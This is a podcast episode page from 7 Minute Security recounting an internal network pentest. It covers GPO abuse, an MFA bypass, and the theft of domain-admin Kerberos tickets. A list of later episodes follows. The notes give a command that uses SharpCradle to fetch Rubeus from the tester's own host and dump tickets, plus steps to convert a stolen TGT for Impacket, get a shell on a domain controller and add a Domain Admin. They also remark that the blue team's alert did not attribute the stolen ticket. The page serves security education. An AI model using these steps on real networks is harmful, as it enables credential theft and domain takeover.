7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Jaksot(710)

7MS #702: Should You Hire AI to Run Your Next Pentest?

7MS #702: Should You Hire AI to Run Your Next Pentest?

Hello friends, in today's episode I give an audio summary of a talk I gave this week at the MN GOVIT Symposium called "Should You Hire AI to Run Your Next Pentest?"  It's not a pro-AI celebration, nor...

21 Marras 202521min

7MS #701: What I'm Working on This Week – Part 5

7MS #701: What I'm Working on This Week – Part 5

Hello friends!  This week I'm talking about what I'm working on this week, including: Preparing a talk called Should You Hire AI to Run Your Next Pentest for the Minnesota GOVIT Symposium. Playing wi...

14 Marras 202518min

7MS #700: Pretender

7MS #700: Pretender

Today is episode 700 of the 7MinSec podcast! Oh my gosh. My mom didn't think we could do it, but we did. Instead of a big blowout with huge news, giveaways and special guests, today is a pretty standa...

7 Marras 20258min

7MS #699: Pre-Travel Security Tips

7MS #699: Pre-Travel Security Tips

Today we discuss some pre-travel tips you can use before hopping on a plane to start a work/personal adventure. Tips include: Updating the family DR/BCP plan Lightening your purse/wallet Validating/t...

31 Loka 202530min

7MS #698: Baby's First ProjectDiscovery

7MS #698: Baby's First ProjectDiscovery

Today I give a quick review of the cloud version of ProjectDiscovery (not a sponsor!).

24 Loka 202524min

7MS #697: Pwning Ninja Hacker Academy – Part 4

7MS #697: Pwning Ninja Hacker Academy – Part 4

Today your pal and mine Joe "The Machine" Skeen pwn one of the two Ninja Hacker Academy domains! This pwnage included: Swiping service tickets in the name of high-priv users Dumping secrets from wmo...

18 Loka 202513min

7MS #696: Baby's First Security Ticketing System

7MS #696: Baby's First Security Ticketing System

In today's episode: I got a new podcast doodad I really like JitBit as a security ticketing system (not a sponsor) The Threat Hunting with Velociraptor 2-day training was great. Highly recommend. I...

10 Loka 202527min

7MS #695: Tales of Pentest Pwnage - Part 78

7MS #695: Tales of Pentest Pwnage - Part 78

Today's tale of pentest pwnage involves: Using mssqlkaren to dump sensitive goodies out of SCCM Using a specific fork of bloodhound to find machines I could force password resets on (warning: don't d...

3 Loka 202515min

Suosittua kategoriassa Politiikka ja uutiset

aikalisa
rss-ootsa-kuullut-tasta
tervo-halme
ootsa-kuullut-tasta-2
politiikan-puskaradio
viisupodi
et-sa-noin-voi-sanoo-esittaa
otetaan-yhdet
rss-asiastudio
rss-vaalirankkurit-podcast
rss-podme-livebox
linda-maria
the-ulkopolitist
rss-kaikki-uusiksi
rss-tekkipodi
rikosmyytit
rss-mina-ukkola
rss-kuka-mina-olen
rss-raha-talous-ja-politiikka
rss-kyselytunti